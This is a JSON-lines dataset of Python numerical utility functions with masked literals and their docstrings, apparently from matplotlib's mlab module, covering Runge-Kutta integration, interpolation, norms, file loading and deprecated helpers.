{"signature": "def center_matrix(M, dim=<NUM_LIT:0>):", "body": "M = np.asarray(M, np.float_)<EOL>if dim:<EOL><INDENT>M = (M - M.mean(axis=<NUM_LIT:0>)) / M.std(axis=<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>M = (M - M.mean(axis=<NUM_LIT:1>)[:,np.newaxis])<EOL>M = M / M.std(axis=<NUM_LIT:1>)[:,np.newaxis]<EOL><DEDENT>return M<EOL>", "docstring": "Return the matrix *M* with each row having zero mean and unit std.\n\nIf *dim* = 1 operate on columns instead of rows.  (*dim* is\nopposite to the numpy axis kwarg.)", "id": "f17237:m35"}
{"signature": "def rk4(derivs, y0, t):", "body": "try: Ny = len(y0)<EOL>except TypeError:<EOL><INDENT>yout = np.zeros( (len(t),), np.float_)<EOL><DEDENT>else:<EOL><INDENT>yout = np.zeros( (len(t), Ny), np.float_)<EOL><DEDENT>yout[<NUM_LIT:0>] = y0<EOL>i = <NUM_LIT:0><EOL>for i in np.arange(len(t)-<NUM_LIT:1>):<EOL><INDENT>thist = t[i]<EOL>dt = t[i+<NUM_LIT:1>] - thist<EOL>dt2 = dt/<NUM_LIT><EOL>y0 = yout[i]<EOL>k1 = np.asarray(derivs(y0, thist))<EOL>k2 = np.asarray(derivs(y0 + dt2*k1, thist+dt2))<EOL>k3 = np.asarray(derivs(y0 + dt2*k2, thist+dt2))<EOL>k4 = np.asarray(derivs(y0 + dt*k3, thist+dt))<EOL>yout[i+<NUM_LIT:1>] = y0 + dt/<NUM_LIT>*(k1 + <NUM_LIT:2>*k2 + <NUM_LIT:2>*k3 + k4)<EOL><DEDENT>return yout<EOL>", "docstring": "Integrate 1D or ND system of ODEs using 4-th order Runge-Kutta.\nThis is a toy implementation which may be useful if you find\nyourself stranded on a system w/o scipy.  Otherwise use\n:func:`scipy.integrate`.\n\n*y0*\n    initial state vector\n\n*t*\n    sample times\n\n*derivs*\n    returns the derivative of the system and has the\n    signature ``dy = derivs(yi, ti)``\n\n\nExample 1 ::\n\n    ## 2D system\n\n    def derivs6(x,t):\n        d1 =  x[0] + 2*x[1]\n        d2 =  -3*x[0] + 4*x[1]\n        return (d1, d2)\n    dt = 0.0005\n    t = arange(0.0, 2.0, dt)\n    y0 = (1,2)\n    yout = rk4(derivs6, y0, t)\n\nExample 2::\n\n    ## 1D system\n    alpha = 2\n    def derivs(x,t):\n        return -alpha*x + exp(-t)\n\n    y0 = 1\n    yout = rk4(derivs, y0, t)\n\n\nIf you have access to scipy, you should probably be using the\nscipy.integrate tools rather than this function.", "id": "f17237:m36"}
{"signature": "def bivariate_normal(X, Y, sigmax=<NUM_LIT:1.0>, sigmay=<NUM_LIT:1.0>,<EOL>mux=<NUM_LIT:0.0>, muy=<NUM_LIT:0.0>, sigmaxy=<NUM_LIT:0.0>):", "body": "Xmu = X-mux<EOL>Ymu = Y-muy<EOL>rho = sigmaxy/(sigmax*sigmay)<EOL>z = Xmu**<NUM_LIT:2>/sigmax**<NUM_LIT:2> + Ymu**<NUM_LIT:2>/sigmay**<NUM_LIT:2> - <NUM_LIT:2>*rho*Xmu*Ymu/(sigmax*sigmay)<EOL>denom = <NUM_LIT:2>*np.pi*sigmax*sigmay*np.sqrt(<NUM_LIT:1>-rho**<NUM_LIT:2>)<EOL>return np.exp( -z/(<NUM_LIT:2>*(<NUM_LIT:1>-rho**<NUM_LIT:2>))) / denom<EOL>", "docstring": "Bivariate Gaussian distribution for equal shape *X*, *Y*.\n\nSee `bivariate normal\n<http://mathworld.wolfram.com/BivariateNormalDistribution.html>`_\nat mathworld.", "id": "f17237:m37"}
{"signature": "def get_xyz_where(Z, Cond):", "body": "X,Y = np.indices(Z.shape)<EOL>return X[Cond], Y[Cond], Z[Cond]<EOL>", "docstring": "*Z* and *Cond* are *M* x *N* matrices.  *Z* are data and *Cond* is\na boolean matrix where some condition is satisfied.  Return value\nis (*x*, *y*, *z*) where *x* and *y* are the indices into *Z* and\n*z* are the values of *Z* at those indices.  *x*, *y*, and *z* are\n1D arrays.", "id": "f17237:m38"}
{"signature": "def get_sparse_matrix(M,N,frac=<NUM_LIT:0.1>):", "body": "data = np.zeros((M,N))*<NUM_LIT:0.><EOL>for i in range(int(M*N*frac)):<EOL><INDENT>x = np.random.randint(<NUM_LIT:0>,M-<NUM_LIT:1>)<EOL>y = np.random.randint(<NUM_LIT:0>,N-<NUM_LIT:1>)<EOL>data[x,y] = np.random.rand()<EOL><DEDENT>return data<EOL>", "docstring": "Return a *M* x *N* sparse matrix with *frac* elements randomly\nfilled.", "id": "f17237:m39"}
{"signature": "def dist(x,y):", "body": "d = x-y<EOL>return np.sqrt(np.dot(d,d))<EOL>", "docstring": "Return the distance between two points.", "id": "f17237:m40"}
{"signature": "def dist_point_to_segment(p, s0, s1):", "body": "p = np.asarray(p, np.float_)<EOL>s0 = np.asarray(s0, np.float_)<EOL>s1 = np.asarray(s1, np.float_)<EOL>v = s1 - s0<EOL>w = p - s0<EOL>c1 = np.dot(w,v);<EOL>if ( c1 <= <NUM_LIT:0> ):<EOL><INDENT>return dist(p, s0);<EOL><DEDENT>c2 = np.dot(v,v)<EOL>if ( c2 <= c1 ):<EOL><INDENT>return dist(p, s1);<EOL><DEDENT>b = c1 / c2<EOL>pb = s0 + b * v;<EOL>return dist(p, pb)<EOL>", "docstring": "Get the distance of a point to a segment.\n\n  *p*, *s0*, *s1* are *xy* sequences\n\nThis algorithm from\nhttp://softsurfer.com/Archive/algorithm_0102/algorithm_0102.htm#Distance%20to%20Ray%20or%20Segment", "id": "f17237:m41"}
{"signature": "def segments_intersect(s1, s2):", "body": "(x1, y1), (x2, y2) = s1<EOL>(x3, y3), (x4, y4) = s2<EOL>den = ((y4-y3) * (x2-x1)) - ((x4-x3)*(y2-y1))<EOL>n1 = ((x4-x3) * (y1-y3)) - ((y4-y3)*(x1-x3))<EOL>n2 = ((x2-x1) * (y1-y3)) - ((y2-y1)*(x1-x3))<EOL>if den == <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>u1 = n1/den<EOL>u2 = n2/den<EOL>return <NUM_LIT:0.0> <= u1 <= <NUM_LIT:1.0> and <NUM_LIT:0.0> <= u2 <= <NUM_LIT:1.0><EOL>", "docstring": "Return *True* if *s1* and *s2* intersect.\n*s1* and *s2* are defined as::\n\n  s1: (x1, y1), (x2, y2)\n  s2: (x3, y3), (x4, y4)", "id": "f17237:m42"}
{"signature": "def fftsurr(x, detrend=detrend_none, window=window_none):", "body": "if cbook.iterable(window):<EOL><INDENT>x=window*detrend(x)<EOL><DEDENT>else:<EOL><INDENT>x = window(detrend(x))<EOL><DEDENT>z = np.fft.fft(x)<EOL>a = <NUM_LIT>*np.pi*<NUM_LIT><EOL>phase = a * np.random.rand(len(x))<EOL>z = z*np.exp(phase)<EOL>return np.fft.ifft(z).real<EOL>", "docstring": "Compute an FFT phase randomized surrogate of *x*.", "id": "f17237:m43"}
{"signature": "def liaupunov(x, fprime):", "body": "return np.mean(np.log(np.absolute(fprime(x))))<EOL>", "docstring": "*x* is a very long trajectory from a map, and *fprime* returns the\nderivative of *x*.\n\nReturns :\n.. math::\n\n    \\lambda = \\\\frac{1}{n}\\\\sum \\\\ln|f^'(x_i)|\n\n.. seealso::\n    Sec 10.5 Strogatz (1994) \"Nonlinear Dynamics and Chaos\".\n\n    `Wikipedia article on Lyapunov Exponent\n    <http://en.wikipedia.org/wiki/Lyapunov_exponent>`_.\n\n.. note::\n    What the function here calculates may not be what you really want;\n    *caveat emptor*.\n\n    It also seems that this function's name is badly misspelled.", "id": "f17237:m44"}
{"signature": "def movavg(x,n):", "body": "w = np.empty((n,), dtype=np.float_)<EOL>w[:] = <NUM_LIT:1.0>/n<EOL>return np.convolve(x, w, mode='<STR_LIT>')<EOL>", "docstring": "Compute the len(*n*) moving average of *x*.", "id": "f17237:m45"}
{"signature": "def save(fname, X, fmt='<STR_LIT>',delimiter='<STR_LIT:U+0020>'):", "body": "if cbook.is_string_like(fname):<EOL><INDENT>if fname.endswith('<STR_LIT>'):<EOL><INDENT>import gzip<EOL>fh = gzip.open(fname,'<STR_LIT:wb>')<EOL><DEDENT>else:<EOL><INDENT>fh = file(fname,'<STR_LIT:w>')<EOL><DEDENT><DEDENT>elif hasattr(fname, '<STR_LIT>'):<EOL><INDENT>fh = fname<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>X = np.asarray(X)<EOL>origShape = None<EOL>if X.ndim == <NUM_LIT:1>:<EOL><INDENT>origShape = X.shape<EOL>X.shape = len(X), <NUM_LIT:1><EOL><DEDENT>for row in X:<EOL><INDENT>fh.write(delimiter.join([fmt%val for val in row]) + '<STR_LIT:\\n>')<EOL><DEDENT>if origShape is not None:<EOL><INDENT>X.shape = origShape<EOL><DEDENT>", "docstring": "Save the data in *X* to file *fname* using *fmt* string to convert the\ndata to strings.\n\n*fname* can be a filename or a file handle.  If the filename ends\nin '.gz', the file is automatically saved in compressed gzip\nformat.  The :func:`load` function understands gzipped files\ntransparently.\n\nExample usage::\n\n  save('test.out', X)         # X is an array\n  save('test1.out', (x,y,z))  # x,y,z equal sized 1D arrays\n  save('test2.out', x)        # x is 1D\n  save('test3.out', x, fmt='%1.4e')  # use exponential notation\n\n*delimiter* is used to separate the fields, eg. *delimiter* ','\nfor comma-separated values.", "id": "f17237:m46"}
{"signature": "def load(fname,comments='<STR_LIT:#>',delimiter=None, converters=None,skiprows=<NUM_LIT:0>,<EOL>usecols=None, unpack=False, dtype=np.float_):", "body": "if converters is None: converters = {}<EOL>fh = cbook.to_filehandle(fname)<EOL>X = []<EOL>if delimiter=='<STR_LIT:U+0020>':<EOL><INDENT>def splitfunc(x):<EOL><INDENT>return x.split()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>def splitfunc(x):<EOL><INDENT>return x.split(delimiter)<EOL><DEDENT><DEDENT>converterseq = None<EOL>for i,line in enumerate(fh):<EOL><INDENT>if i<skiprows: continue<EOL>line = line.split(comments, <NUM_LIT:1>)[<NUM_LIT:0>].strip()<EOL>if not len(line): continue<EOL>if converterseq is None:<EOL><INDENT>converterseq = [converters.get(j,float)<EOL>for j,val in enumerate(splitfunc(line))]<EOL><DEDENT>if usecols is not None:<EOL><INDENT>vals = splitfunc(line)<EOL>row = [converterseq[j](vals[j]) for j in usecols]<EOL><DEDENT>else:<EOL><INDENT>row = [converterseq[j](val)<EOL>for j,val in enumerate(splitfunc(line))]<EOL><DEDENT>thisLen = len(row)<EOL>X.append(row)<EOL><DEDENT>X = np.array(X, dtype)<EOL>r,c = X.shape<EOL>if r==<NUM_LIT:1> or c==<NUM_LIT:1>:<EOL><INDENT>X.shape = max(r,c),<EOL><DEDENT>if unpack: return X.transpose()<EOL>else: return X<EOL>", "docstring": "Load ASCII data from *fname* into an array and return the array.\n\nThe data must be regular, same number of values in every row\n\n*fname* can be a filename or a file handle.  Support for gzipped\nfiles is automatic, if the filename ends in '.gz'.\n\nmatfile data is not supported; for that, use :mod:`scipy.io.mio`\nmodule.\n\nExample usage::\n\n  X = load('test.dat')  # data in two columns\n  t = X[:,0]\n  y = X[:,1]\n\nAlternatively, you can do the same with \"unpack\"; see below::\n\n  X = load('test.dat')    # a matrix of data\n  x = load('test.dat')    # a single column of data\n\n- *comments*: the character used to indicate the start of a comment\n  in the file\n\n- *delimiter* is a string-like character used to seperate values\n  in the file. If *delimiter* is unspecified or *None*, any\n  whitespace string is a separator.\n\n- *converters*, if not *None*, is a dictionary mapping column number to\n  a function that will convert that column to a float (or the optional\n  *dtype* if specified).  Eg, if column 0 is a date string::\n\n    converters = {0:datestr2num}\n\n- *skiprows* is the number of rows from the top to skip.\n\n- *usecols*, if not *None*, is a sequence of integer column indexes to\n  extract where 0 is the first column, eg ``usecols=[1,4,5]`` to extract\n  just the 2nd, 5th and 6th columns\n\n- *unpack*, if *True*, will transpose the matrix allowing you to unpack\n  into named arguments on the left hand side::\n\n    t,y = load('test.dat', unpack=True) # for  two column data\n    x,y,z = load('somefile.dat', usecols=[3,5,7], unpack=True)\n\n- *dtype*: the array will have this dtype.  default: ``numpy.float_``\n\n.. seealso::\n    See :file:`examples/pylab_examples/load_converter.py` in the source tree:\n       Exercises many of these options.", "id": "f17237:m47"}
{"signature": "def slopes(x,y):", "body": "<EOL>x=np.asarray(x, np.float_)<EOL>y=np.asarray(y, np.float_)<EOL>yp=np.zeros(y.shape, np.float_)<EOL>dx=x[<NUM_LIT:1>:] - x[:-<NUM_LIT:1>]<EOL>dy=y[<NUM_LIT:1>:] - y[:-<NUM_LIT:1>]<EOL>dydx = dy/dx<EOL>yp[<NUM_LIT:1>:-<NUM_LIT:1>] = (dydx[:-<NUM_LIT:1>] * dx[<NUM_LIT:1>:] + dydx[<NUM_LIT:1>:] * dx[:-<NUM_LIT:1>])/(dx[<NUM_LIT:1>:] + dx[:-<NUM_LIT:1>])<EOL>yp[<NUM_LIT:0>] = <NUM_LIT> * dy[<NUM_LIT:0>]/dx[<NUM_LIT:0>] - yp[<NUM_LIT:1>]<EOL>yp[-<NUM_LIT:1>] = <NUM_LIT> * dy[-<NUM_LIT:1>]/dx[-<NUM_LIT:1>] - yp[-<NUM_LIT:2>]<EOL>return yp<EOL>", "docstring": "SLOPES calculate the slope y'(x) Given data vectors X and Y SLOPES\ncalculates Y'(X), i.e the slope of a curve Y(X). The slope is\nestimated using the slope obtained from that of a parabola through\nany three consecutive points.\n\nThis method should be superior to that described in the appendix\nof A CONSISTENTLY WELL BEHAVED METHOD OF INTERPOLATION by Russel\nW. Stineman (Creative Computing July 1980) in at least one aspect:\n\nCircles for interpolation demand a known aspect ratio between x-\nand y-values.  For many functions, however, the abscissa are given\nin different dimensions, so an aspect ratio is completely\narbitrary.\n\nThe parabola method gives very similar results to the circle\nmethod for most regular cases but behaves much better in special\ncases\n\nNorbert Nemec, Institute of Theoretical Physics, University or\nRegensburg, April 2006 Norbert.Nemec at physik.uni-regensburg.de\n\n(inspired by a original implementation by Halldor Bjornsson,\nIcelandic Meteorological Office, March 2006 halldor at vedur.is)", "id": "f17237:m48"}
{"signature": "def stineman_interp(xi,x,y,yp=None):", "body": "<EOL>x=np.asarray(x, np.float_)<EOL>y=np.asarray(y, np.float_)<EOL>assert x.shape == y.shape<EOL>N=len(y)<EOL>if yp is None:<EOL><INDENT>yp = slopes(x,y)<EOL><DEDENT>else:<EOL><INDENT>yp=np.asarray(yp, np.float_)<EOL><DEDENT>xi=np.asarray(xi, np.float_)<EOL>yi=np.zeros(xi.shape, np.float_)<EOL>dx = x[<NUM_LIT:1>:] - x[:-<NUM_LIT:1>]<EOL>dy = y[<NUM_LIT:1>:] - y[:-<NUM_LIT:1>]<EOL>s = dy/dx  <EOL>idx = np.searchsorted(x[<NUM_LIT:1>:-<NUM_LIT:1>], xi)<EOL>sidx = s.take(idx)<EOL>xidx = x.take(idx)<EOL>yidx = y.take(idx)<EOL>xidxp1 = x.take(idx+<NUM_LIT:1>)<EOL>yo = yidx + sidx * (xi - xidx)<EOL>dy1 = (yp.take(idx)- sidx) * (xi - xidx)       <EOL>dy2 = (yp.take(idx+<NUM_LIT:1>)-sidx) * (xi - xidxp1) <EOL>dy1dy2 = dy1*dy2<EOL>yi = yo + dy1dy2 * np.choose(np.array(np.sign(dy1dy2), np.int32)+<NUM_LIT:1>,<EOL>((<NUM_LIT:2>*xi-xidx-xidxp1)/((dy1-dy2)*(xidxp1-xidx)),<EOL><NUM_LIT:0.0>,<EOL><NUM_LIT:1>/(dy1+dy2),))<EOL>return yi<EOL>", "docstring": "STINEMAN_INTERP Well behaved data interpolation.  Given data\nvectors X and Y, the slope vector YP and a new abscissa vector XI\nthe function stineman_interp(xi,x,y,yp) uses Stineman\ninterpolation to calculate a vector YI corresponding to XI.\n\nHere's an example that generates a coarse sine curve, then\ninterpolates over a finer abscissa:\n\n  x = linspace(0,2*pi,20);  y = sin(x); yp = cos(x)\n  xi = linspace(0,2*pi,40);\n  yi = stineman_interp(xi,x,y,yp);\n  plot(x,y,'o',xi,yi)\n\nThe interpolation method is described in the article A\nCONSISTENTLY WELL BEHAVED METHOD OF INTERPOLATION by Russell\nW. Stineman. The article appeared in the July 1980 issue of\nCreative Computing with a note from the editor stating that while\nthey were\n\n  not an academic journal but once in a while something serious\n  and original comes in adding that this was\n  \"apparently a real solution\" to a well known problem.\n\nFor yp=None, the routine automatically determines the slopes using\nthe \"slopes\" routine.\n\nX is assumed to be sorted in increasing order\n\nFor values xi[j] < x[0] or xi[j] > x[-1], the routine tries a\nextrapolation.  The relevance of the data obtained from this, of\ncourse, questionable...\n\noriginal implementation by Halldor Bjornsson, Icelandic\nMeteorolocial Office, March 2006 halldor at vedur.is\n\ncompletely reworked and optimized for Python by Norbert Nemec,\nInstitute of Theoretical Physics, University or Regensburg, April\n2006 Norbert.Nemec at physik.uni-regensburg.de", "id": "f17237:m49"}
{"signature": "def inside_poly(points, verts):", "body": "res, =  np.nonzero(nxutils.points_inside_poly(points, verts))<EOL>return res<EOL>", "docstring": "points is a sequence of x,y points\nverts is a sequence of x,y vertices of a poygon\n\nreturn value is a sequence of indices into points for the points\nthat are inside the polygon", "id": "f17237:m50"}
{"signature": "def poly_below(ymin, xs, ys):", "body": "return poly_between(xs, ys, xmin)<EOL>", "docstring": "given a arrays *xs* and *ys*, return the vertices of a polygon\nthat has a scalar lower bound *ymin* and an upper bound at the *ys*.\n\nintended for use with Axes.fill, eg::\n\n  xv, yv = poly_below(0, x, y)\n  ax.fill(xv, yv)", "id": "f17237:m51"}
{"signature": "def poly_between(x, ylower, yupper):", "body": "Nx = len(x)<EOL>if not cbook.iterable(ylower):<EOL><INDENT>ylower = ylower*np.ones(Nx)<EOL><DEDENT>if not cbook.iterable(yupper):<EOL><INDENT>yupper = yupper*np.ones(Nx)<EOL><DEDENT>x = np.concatenate( (x, x[::-<NUM_LIT:1>]) )<EOL>y = np.concatenate( (yupper, ylower[::-<NUM_LIT:1>]) )<EOL>return x,y<EOL>", "docstring": "given a sequence of x, ylower and yupper, return the polygon that\nfills the regions between them.  ylower or yupper can be scalar or\niterable.  If they are iterable, they must be equal in length to x\n\nreturn value is x, y arrays for use with Axes.fill", "id": "f17237:m52"}
{"signature": "def exp_safe(x):", "body": "if type(x) is np.ndarray:<EOL><INDENT>return exp(np.clip(x,exp_safe_MIN,exp_safe_MAX))<EOL><DEDENT>else:<EOL><INDENT>return math.exp(x)<EOL><DEDENT>", "docstring": "Compute exponentials which safely underflow to zero.\n\nSlow, but convenient to use. Note that numpy provides proper\nfloating point exception handling with access to the underlying\nhardware.", "id": "f17237:m53"}
{"signature": "def amap(fn,*args):", "body": "return np.array(list(map(fn,*args)))<EOL>", "docstring": "amap(function, sequence[, sequence, ...]) -> array.\n\nWorks like :func:`map`, but it returns an array.  This is just a\nconvenient shorthand for ``numpy.array(map(...))``.", "id": "f17237:m54"}
{"signature": "def zeros_like(a):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return np.zeros_like(a)<EOL>", "docstring": "Return an array of zeros of the shape and typecode of *a*.", "id": "f17237:m55"}
{"signature": "def sum_flat(a):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return np.sum(a)<EOL>", "docstring": "Return the sum of all the elements of *a*, flattened out.\n\nIt uses ``a.flat``, and if *a* is not contiguous, a call to\n``ravel(a)`` is made.", "id": "f17237:m56"}
{"signature": "def mean_flat(a):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return np.mean(a)<EOL>", "docstring": "Return the mean of all the elements of *a*, flattened out.", "id": "f17237:m57"}
{"signature": "def rms_flat(a):", "body": "return np.sqrt(np.mean(np.absolute(a)**<NUM_LIT:2>))<EOL>", "docstring": "Return the root mean square of all the elements of *a*, flattened out.", "id": "f17237:m58"}
{"signature": "def l1norm(a):", "body": "return np.sum(np.absolute(a))<EOL>", "docstring": "Return the *l1* norm of *a*, flattened out.\n\nImplemented as a separate function (not a call to :func:`norm` for speed).", "id": "f17237:m59"}
{"signature": "def l2norm(a):", "body": "return np.sqrt(np.sum(np.absolute(a)**<NUM_LIT:2>))<EOL>", "docstring": "Return the *l2* norm of *a*, flattened out.\n\nImplemented as a separate function (not a call to :func:`norm` for speed).", "id": "f17237:m60"}
{"signature": "def norm_flat(a,p=<NUM_LIT:2>):", "body": "<EOL>if p=='<STR_LIT>':<EOL><INDENT>return np.amax(np.absolute(a))<EOL><DEDENT>else:<EOL><INDENT>return (np.sum(np.absolute(a)**p))**(<NUM_LIT:1.0>/p)<EOL><DEDENT>", "docstring": "norm(a,p=2) -> l-p norm of a.flat\n\nReturn the l-p norm of *a*, considered as a flat array.  This is NOT a true\nmatrix norm, since arrays of arbitrary rank are always flattened.\n\n*p* can be a number or the string 'Infinity' to get the L-infinity norm.", "id": "f17237:m61"}
{"signature": "def frange(xini,xfin=None,delta=None,**kw):", "body": "<EOL>kw.setdefault('<STR_LIT>',<NUM_LIT:1>)<EOL>endpoint = kw['<STR_LIT>'] != <NUM_LIT:0><EOL>if xfin == None:<EOL><INDENT>xfin = xini + <NUM_LIT:0.0><EOL>xini = <NUM_LIT:0.0><EOL><DEDENT>if delta == None:<EOL><INDENT>delta = <NUM_LIT:1.0><EOL><DEDENT>try:<EOL><INDENT>npts=kw['<STR_LIT>']<EOL>delta=(xfin-xini)/float(npts-endpoint)<EOL><DEDENT>except KeyError:<EOL><INDENT>npts = int(round((xfin-xini)/delta)) + endpoint<EOL><DEDENT>return np.arange(npts)*delta+xini<EOL>", "docstring": "frange([start,] stop[, step, keywords]) -> array of floats\n\nReturn a numpy ndarray containing a progression of floats. Similar to\n:func:`numpy.arange`, but defaults to a closed interval.\n\n``frange(x0, x1)`` returns ``[x0, x0+1, x0+2, ..., x1]``; *start*\ndefaults to 0, and the endpoint *is included*. This behavior is\ndifferent from that of :func:`range` and\n:func:`numpy.arange`. This is deliberate, since :func:`frange`\nwill probably be more useful for generating lists of points for\nfunction evaluation, and endpoints are often desired in this\nuse. The usual behavior of :func:`range` can be obtained by\nsetting the keyword *closed* = 0, in this case, :func:`frange`\nbasically becomes :func:numpy.arange`.\n\nWhen *step* is given, it specifies the increment (or\ndecrement). All arguments can be floating point numbers.\n\n``frange(x0,x1,d)`` returns ``[x0,x0+d,x0+2d,...,xfin]`` where\n*xfin* <= *x1*.\n\n:func:`frange` can also be called with the keyword *npts*. This\nsets the number of points the list should contain (and overrides\nthe value *step* might have been given). :func:`numpy.arange`\ndoesn't offer this option.\n\nExamples::\n\n  >>> frange(3)\n  array([ 0.,  1.,  2.,  3.])\n  >>> frange(3,closed=0)\n  array([ 0.,  1.,  2.])\n  >>> frange(1,6,2)\n  array([1, 3, 5])   or 1,3,5,7, depending on floating point vagueries\n  >>> frange(1,6.5,npts=5)\n  array([ 1.   ,  2.375,  3.75 ,  5.125,  6.5  ])", "id": "f17237:m62"}
{"signature": "def diagonal_matrix(diag):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return np.diag(diag)<EOL>", "docstring": "Return square diagonal matrix whose non-zero elements are given by the\ninput array.", "id": "f17237:m63"}
{"signature": "def identity(n, rank=<NUM_LIT:2>, dtype='<STR_LIT:l>', typecode=None):", "body": "if typecode is not None:<EOL><INDENT>warnings.warn(\"<STR_LIT>\",<EOL>DeprecationWarning)<EOL>dtype = typecode<EOL><DEDENT>iden = np.zeros((n,)*rank, dtype)<EOL>for i in range(n):<EOL><INDENT>idx = (i,)*rank<EOL>iden[idx] = <NUM_LIT:1><EOL><DEDENT>return iden<EOL>", "docstring": "Returns the identity matrix of shape (*n*, *n*, ..., *n*) (rank *r*).\n\nFor ranks higher than 2, this object is simply a multi-index Kronecker\ndelta::\n\n                        /  1  if i0=i1=...=iR,\n    id[i0,i1,...,iR] = -|\n                        \\  0  otherwise.\n\nOptionally a *dtype* (or typecode) may be given (it defaults to 'l').\n\nSince rank defaults to 2, this function behaves in the default case (when\nonly *n* is given) like ``numpy.identity(n)`` -- but surprisingly, it is\nmuch faster.", "id": "f17237:m64"}
{"signature": "def base_repr (number, base = <NUM_LIT:2>, padding = <NUM_LIT:0>):", "body": "chars = '<STR_LIT>'<EOL>if number < base:return (padding - <NUM_LIT:1>) * chars [<NUM_LIT:0>] + chars [int (number)]<EOL>max_exponent = int (math.log (number)/math.log (base))<EOL>max_power = int (base) ** max_exponent<EOL>lead_digit = int (number/max_power)<EOL>return chars [lead_digit] +base_repr (number - max_power * lead_digit, base,max (padding - <NUM_LIT:1>, max_exponent))<EOL>", "docstring": "Return the representation of a *number* in any given *base*.", "id": "f17237:m65"}
{"signature": "def binary_repr(number, max_length = <NUM_LIT>):", "body": "<EOL>shifts = list(map (operator.rshift, max_length * [number],list(range(max_length - <NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>))))<EOL>digits = list(map (operator.mod, shifts, max_length * [<NUM_LIT:2>]))<EOL>if not digits.count (<NUM_LIT:1>): return <NUM_LIT:0><EOL>digits = digits [digits.index (<NUM_LIT:1>):]<EOL>return '<STR_LIT>'.join (map (repr, digits)).replace('<STR_LIT:L>','<STR_LIT>')<EOL>", "docstring": "Return the binary representation of the input *number* as a\nstring.\n\nThis is more efficient than using :func:`base_repr` with base 2.\n\nIncrease the value of max_length for very large numbers. Note that\non 32-bit machines, 2**1023 is the largest integer power of 2\nwhich can be converted to a Python float.", "id": "f17237:m66"}
{"signature": "def log2(x,ln2 = math.log(<NUM_LIT>)):", "body": "try:<EOL><INDENT>bin_n = binary_repr(x)[<NUM_LIT:1>:]<EOL><DEDENT>except (AssertionError,TypeError):<EOL><INDENT>return math.log(x)/ln2<EOL><DEDENT>else:<EOL><INDENT>if '<STR_LIT:1>' in bin_n:<EOL><INDENT>return math.log(x)/ln2<EOL><DEDENT>else:<EOL><INDENT>return len(bin_n)<EOL><DEDENT><DEDENT>", "docstring": "Return the log(*x*) in base 2.\n\nThis is a _slow_ function but which is guaranteed to return the correct\ninteger value if the input is an integer exact power of 2.", "id": "f17237:m67"}
{"signature": "def ispower2(n):", "body": "bin_n = binary_repr(n)[<NUM_LIT:1>:]<EOL>if '<STR_LIT:1>' in bin_n:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>return len(bin_n)<EOL><DEDENT>", "docstring": "Returns the log base 2 of *n* if *n* is a power of 2, zero otherwise.\n\nNote the potential ambiguity if *n* == 1: 2**0 == 1, interpret accordingly.", "id": "f17237:m68"}
{"signature": "def isvector(X):", "body": "return np.prod(X.shape)==np.max(X.shape)<EOL>", "docstring": "Like the Matlab (TM) function with the same name, returns *True*\nif the supplied numpy array or matrix *X* looks like a vector,\nmeaning it has a one non-singleton axis (i.e., it can have\nmultiple axes, but all must have length 1, except for one of\nthem).\n\nIf you just want to see if the array has 1 axis, use X.ndim == 1.", "id": "f17237:m69"}
{"signature": "def fromfunction_kw(function, dimensions, **kwargs):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return np.fromfunction(function, dimensions, **kwargs)<EOL>", "docstring": "Drop-in replacement for :func:`numpy.fromfunction`.\n\nAllows passing keyword arguments to the desired function.\n\nCall it as (keywords are optional)::\n\n  fromfunction_kw(MyFunction, dimensions, keywords)\n\nThe function ``MyFunction`` is responsible for handling the\ndictionary of keywords it will receive.", "id": "f17237:m70"}
{"signature": "def rem(x,y):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Deprecated - see :func:`numpy.remainder`", "id": "f17237:m71"}
{"signature": "def norm(x,y=<NUM_LIT:2>):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Deprecated - see :func:`numpy.linalg.norm`", "id": "f17237:m72"}
{"signature": "def orth(A):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Deprecated - needs clean room implementation", "id": "f17237:m73"}
{"signature": "def rank(x):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Deprecated - see :func:`numpy.rank`", "id": "f17237:m74"}
{"signature": "def sqrtm(x):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Deprecated - needs clean room implementation", "id": "f17237:m75"}
{"signature": "def mfuncC(f, x):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Deprecated", "id": "f17237:m76"}
{"signature": "def approx_real(x):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Deprecated - needs clean room implementation", "id": "f17237:m77"}
{"signature": "def safe_isnan(x):", "body": "if cbook.is_string_like(x):<EOL><INDENT>return False<EOL><DEDENT>try: b = np.isnan(x)<EOL>except NotImplementedError: return False<EOL>except TypeError: return False<EOL>else: return b<EOL>", "docstring": ":func:`numpy.isnan` for arbitrary types", "id": "f17237:m78"}
{"signature": "def safe_isinf(x):", "body": "if cbook.is_string_like(x):<EOL><INDENT>return False<EOL><DEDENT>try: b = np.isinf(x)<EOL>except NotImplementedError: return False<EOL>except TypeError: return False<EOL>else: return b<EOL>", "docstring": ":func:`numpy.isinf` for arbitrary types", "id": "f17237:m79"}
{"signature": "def rec_view(rec):", "body": "return rec.view(np.recarray)<EOL>", "docstring": "Return a view of an ndarray as a recarray\n\n.. seealso::\n\n   http://projects.scipy.org/pipermail/numpy-discussion/2008-August/036429.html", "id": "f17237:m80"}
{"signature": "def rec_append_field(rec, name, arr, dtype=None):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return rec_append_fields(rec, name, arr, dtype)<EOL>", "docstring": "Return a new record array with field name populated with data from\narray *arr*.  This function is Deprecated. Please use\n:func:`rec_append_fields`.", "id": "f17237:m81"}
